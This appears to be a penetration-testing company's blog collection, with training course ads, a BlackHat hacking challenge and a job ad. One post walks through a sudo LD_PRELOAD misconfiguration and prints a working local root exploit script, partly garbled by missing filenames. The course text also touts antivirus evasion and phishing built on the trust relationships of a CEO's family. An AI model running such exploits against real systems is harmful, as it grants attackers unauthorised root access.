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Thu, 15 May 2014

BlackOps Hacking Training - Las Vegas

Get some.

BlackOps you say?
At SensePost we have a range of courses in our Hacking by Numbers reloaded series. We feel each one has its own special place. I've delivered almost all the courses over the years, but my somewhat biased favourite is our recently updated BlackOps Edition. Myself (Glenn) and Vlad will be presenting this course at BlackHat Vegas in August.

Where Does BlackOps fit in?
Our introductory courses (Cadet and Bootcamp) are meant to establish the hacker mindset - they introduce the student to psychological aspects of an attacker, and build on that to demonstrate real world capability. BlackOps is designed for students who understand the basics of hacking (either from attending Bootcamp/Cadet, or from real-world experience) and want to acquire deeper knowledge of techniques we use. We built the course based on our 13 years of experience of performing security assessments.

But really, what's the course about?
This course is aimed at those who've been performing penetration testing for a while, but still feel a bit lost when they've compromised a host, or network and want to know the best possible approach to take for the next step. All of the labs in this course come from real life assessments, with the final lab being a full-blown social engineering attack against an admin with pivoting, exfiltration and the works. Specifically, we're going to cover the following topics:

1. Advanced Targeting
A hacker who can quickly and effectively identify targets is a successful attacker. We'll be looking at non-standard techniques for identifying targets, such as mDNS, IPv6, and other rapid reconnaissance techniques.

3. Compromise
You may know how to roll a generic metasploit payload, but we'll be looking at some lesser utilised approaches to compromise. From WPAD injection, to rogue routers in IPv6, to good old smbrelay attacks, to crypto attacks against obfuscated credentials.

4. Privilege Escalation
So you've gotten a shell, now what?
Following on somewhat succinctly, how do you elevate your privileges after compromising a box? Everyone wants to be root or enterprise admin, but how do you go about this without raising the alarm and keeping your shell?

5. Pivoting
Don't underestimate the importance, or intricacies of this topic. Once you've compromised a lowly network edge server, or the receptionist PC, how do you bounce through that box to get to the good stuff, three DMZs deep? We'll show you how. A must-have for every hackers box of tricks.

6. Open Source Intelligence (OSINT)
Finding out as much as possible about an adversary from publicly available information is one of the most important steps of any hack. This relates to both infrastructure (domains, IP ranges, etc) and personnel. In this section we'll focus mainly on the latter. How can you find out more information about the girlfriend of the son of your target company's CEO? We'll show you. Why would you want to? A good social engineering attack abuses trust relationships, so nothing makes a dad click on that dodgy looking email if it was from his son.

7. HIPS Evasion
Hackers don't like getting caught. So we'll teach you how to evade 100% (yes, 100%) of anti-virus products on the market, as well as hiding from smart traffic filtering devices. Bring your own ninja outfits, we'll provide the skill-set.

8. Client Side Attacks
The weakest layer of the OSI stack - the human. Trust us, if you really want to compromise an organization, going after the receptionist's outdated Windows box is the first stepping stone. After all, why wouldn't she open an email that appears to come from her boss, and has a harmless .xls attached?

Each module of the above modules has a theory section followed by a practical lab to allow you to practise your newly acquired skills. The course finishes with a Capture-the-Flag, with a grand prize. Honestly, this final lab is enjoyable and guaranteed to bring a smile on your face whilst doing it.

We're looking forward to sharing out knowledge, experience, and passion for security with you. Please sign up here.

-Glenn & Vlad

Wed, 28 Aug 2013

Something about sudo, Kingcope and re-inventing the wheel

Willems and I are currently on an internal assessment and have popped a couple hundred (thousand?) RHEL machines, which was trivial since they are all imaged. Anyhoo - long story short, we have a user which is allowed to make use of sudo for a few commands, such as reboot and service. I immediately thought it would be nice to turn this into a local root somehow. Service seemed promising and I had a looksy how it works. Whilst it does do sanitation of the library path it does not remove LD_PRELOAD. So if we could sneak LD_PRELOAD past sudo then all should be good ?

For lack of deeper understanding I googled around the issue and came across which is a vanilla LD_PRELOAD example overiding glib's fopen() call. That sort of suited me well since I reckoned starting services will prolly read config files.

So after a little fiddling I came up with the following creature:

/* gcc -Wall -fPIC -shared -o myfopen.c */
/* */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

FILE *fopen(const char *path, const char *mode) {
printf("MAKE ME A SANDWICH\n");
if (access("/tmp/sandwich", F_OK) != -1)
//printf("fake fopen: not active \n");
return NULL;

which could be invoked via

touch /tmp/sandwich
sudo LD_PRELOAD=/home/george/Desktop/playground/ld_preload/ /etc/init.d/ssh restart

Best thing was it sort of worked! Ugly but functioning...
While trying to work out the finer details, however, I came across a sploit Kingcope had written in 2008, which exploited exactly this issue! Apparently older sudos did not "Defaults env_reset" or "Defaults setenv" which makes the LD_PRELOAD possible. (This still applies to [mis]configurations which preserve the environment)
As always with Kingcope sploits it is very elegant and definitely worth a look.

On a side note: the header of his sploit says:

#* Sudo <= 1.6.9p18 local r00t exploit
#* by Kingcope/2008/
# Most lame exploit EVER!
# Needs a special configuration in the sudoers file:
# --->>>>> "Defaults setenv" so environ vars are preserved :) <<<<<---
# May also need the current users password to be typed in
# So this exploit is UBERLAME!
# First Argument to this shell file: A program your current
# user is allowed to execute via sudo. sudo has to be in
# the path!!
# successfully tested on FreeBSD-7.0 and RedHat Linux
# I don't even know why I realease such stuffz

so Kingcope considered the vuln UEBERLAME ... I don't know if I should be proud or sad for having found it five years later then....
Anyhoo, at this point I was already pretty invested in the thing and decided to see the re-invention of the wheel through. Kingcope's shared object was a lot slicker than mine, hooking into _init() rather than fopen() which makes it a lot more generic and elegant. He used unsetenv(LD_PRELOAD) to execute but once which is also a lot more elegant.

So I shamelessly stole from his sploit... I don't see the need for a suid shell stager and fancy execls when a simple system() does the job, but I am prolly missing several points =) So without further waffle here it is - its called sandwhich sploit as an homage to the classic XKCD sudo comic.

1 #!/bin/bash
2 #
3 # old/misconfigured sudo local root
4 #
5 # disclosed by Kingcope in 2008
6 #
7 #
8 # "re-discovered" in 2013 by
9 #
10 #
13 echo
14 echo "[!] $0 - sudo un-sanitised environment sploit"
15 echo "[!] usage: $0 <program to run via sudo> "
16 echo
19 cat > /tmp/sandwich.c << _EOF
20 #include <stdio.h>
21 #include <stdlib.h>
22 #include <unistd.h>
23 #include <sys/types.h>
25 void _init()
26 {
27 if (!geteuid())
28 {
29 unsetenv("LD_PRELOAD");
30 setgid(0);
31 setuid(0);
32 unlink("/tmp/");
33 unlink("/tmp/sandwich.c");
34 system("/bin/bash");
35 }
36 }
38 _EOF
41 gcc -fPIC -shared -o /tmp/ /tmp/sandwich.c -nostartfiles
42 sudo LD_PRELOAD=/tmp/ $1

Wed, 12 Jun 2013

BlackHat Challenge - 2013

One of the things we try and get across in our training - is that pen-testing requires out of the box thinking. It's also about solving puzzles and making things work the way you want them to. It's about identifying the small vulnerabilities (which are often easy to spot), and trying to leverage them into something useful. A key process we strive to do at SensePost, when performing these penetration tests, is about having fun.

However, since we're not presenting our HBN Combat course at BlackHat this year, we thought we'd treat people to a nice, mind-boggling challenge prior to BlackHat. Furthermore, instead of opting for the normal crypto or reversing-type challenges which seem to have become the norm, we thought we'd make it an infrastructure challenge for once. In other words, people get to compromise real, live boxen. We've also made it real-world, this is something you might be faced with when performing a infrastructure test.

The Scenario:

You've been tasked with performing an infrastructure assessment against ACME Bank. You've fired up your favorite foot printing tool, run through the usual intelligence gathering methodology and noticed they seem to have a minute Internet footprint. So small, in fact, that the only entry point you have is what appears to be a router at

The Mission:

Obtain access to a host on the internal network and put your name on the wall of fame. The first name on the wall wins.

If one takes a quick glimpse at the target, it will be obvious that the person who makes the first break is probably going to be able to control what other people do (with great power comes great responsibility). Also, there is probably a relatively high chance of people inadvertently blocking themselves off from the target. As such, the challenge is going to be reset to "factory default" at 04h00 MT every day.

If you find this type of test enjoyable, we think you'd enjoy our BlackOps course, which aims to fine-tune your penetration testing skills. A summary of our other courses is available here.

The Prize:

We've created a very cool SensePost Blackhat USA 2013 t-shirt and this is limited edition to SensePost staff only, but for the person who gets the first name on the wall, we think you deserve your own.

Have fun, happy haxoring, and hope to see you all at BlackHat.

Thu, 23 May 2013

Stay low, move fast, shoot first, die last, one shot, one kill, no luck, pure skill ...

We're excited to be presenting our Hacking By Numbers Combat course again at Black Hat USA this year. SensePost's resident German haxor dude Georg-Christian Pranschke will be presenting this year's course. Combat fits in right at the top of our course offerings. No messing about, this really is the course where your sole aim is to pwn as much of the infrastructure and applications as possible. It is for the security professional looking to hone their skill-set, or to think like those in Unit 61398. There are a few assumptions though:

  • you have an excellent grounding in terms of infrastructure - and application assessments

  • you aren't scared of tackling systems that aren't easily owned using Metasploit

  • gaining root is an almost OCD-like obsession

  • there are no basic introductions into linux, shells, pivoting etc.

As we've always said, it is quite literally an all-hack, no-talk course. We are not going to dictate what tools or technologies get used by students. We don't care if you use ruby or perl or python to break something (we do, actually - we don't like ruby), just as long as it gets broken. The Combat course itself is a series of between 12 and 15 (depending on time) capture the flag type exercises presented over a period of two days. The exercises include infrastructure, reverse engineering and crypto.

These targets come from real life assessments we've faced at SensePost, it's about as real as you can get without having to do the report at the end of it. How it works is that candidates are presented with a specific goal. If the presenter is feeling generous at the time, they may even get a description of the technology. After that, they'll have time to solve the puzzle. Afterwards, there will be a discussion about the failings, takeaways and alternate approaches adopted by the class. The latter is normally fascinating as (as anybody in the industry knows), there are virtually a limitless number of different ways to solve specific problems. This means that even the instructor gets to learn a couple of new tricks (we also have prizes for those who teach them enough new tricks).

In 2012, Combat underwent a massive rework and we presented a virtually new course which went down excellently. We're aiming to do the same this year, and to make it the best Combat course ever. So if you're interested in spending two days' worth of intense thinking solving some fairly unique puzzles and shelling boxen, join us for HBN Combat at BlackHat USA.

Sat, 2 Mar 2013

IT Network Packet Wrangler

As we grow and operate on a number of continents, so does our dependence on a rock-solid IT infrastructure. We are expanding our repertoire to include a greater collection of Linux/Open Source/Windows and OS X products. With this, we are on the look-out for a rock star to wrangle control of our internal networks, external cloud infrastructure and help us us utilise technology in a way to make us even better.

Job Title: IT Network Packet Wrangling Penguin Master

Salary Range: Industry standard, commensurate with experience

Location: Johannesburg/Pretoria, South Africa

Real Responsibilities:

  • Managing a growing internal network, both in ZA and UK and increased cloud-based infrastructure

  • Championing the adoption of new technologies, ways of working and being incredibly excited about security. Yes, we like that type of person who scoffs at the idea of using a plain-text protocol

As a system / network administrator your daily duties and responsibilities will include:

  • Providing day-to-day Desktop, Server and Network administration, including helping plakkers (the name we give to all who work at SensePost) with their devices

  • Be capable of using a variety of operating systems

  • Ensuring our disaster recovery plan is working as it should

  • Being the go to person to all those who require assistance with their IT

  • Maintaining and administer the telecommunications system

  • Administering the network to ensure that the systems in place run effectively and securely (we are, after all, a security company!)

  • A real passion for finding technology led solutions to problems.

  • Be excited about Unix firewalls, Cisco routers, wrangling network packets, VPN tunnelling and Wi-Fi

  • Able to hold a conversation and smile when mentioning SMTP/HTTP/IMAP/Python

Not essential, but bonus points for:

  • Actually getting a linux laptop to use an overhead projector, without resorting to swear words in Spanish and Afrikaans

  • Administering a Windows server without complaining, at all, not once, in fact, you actually kinda enjoy it.

  • Being really passionate about security and showing it doesn't have to get in the way of working productively.

If the above has got you thinking 'weird, it's like they are talking to me bru!' then we want to hear from you. Send us a carrier pigeon message or send us a mail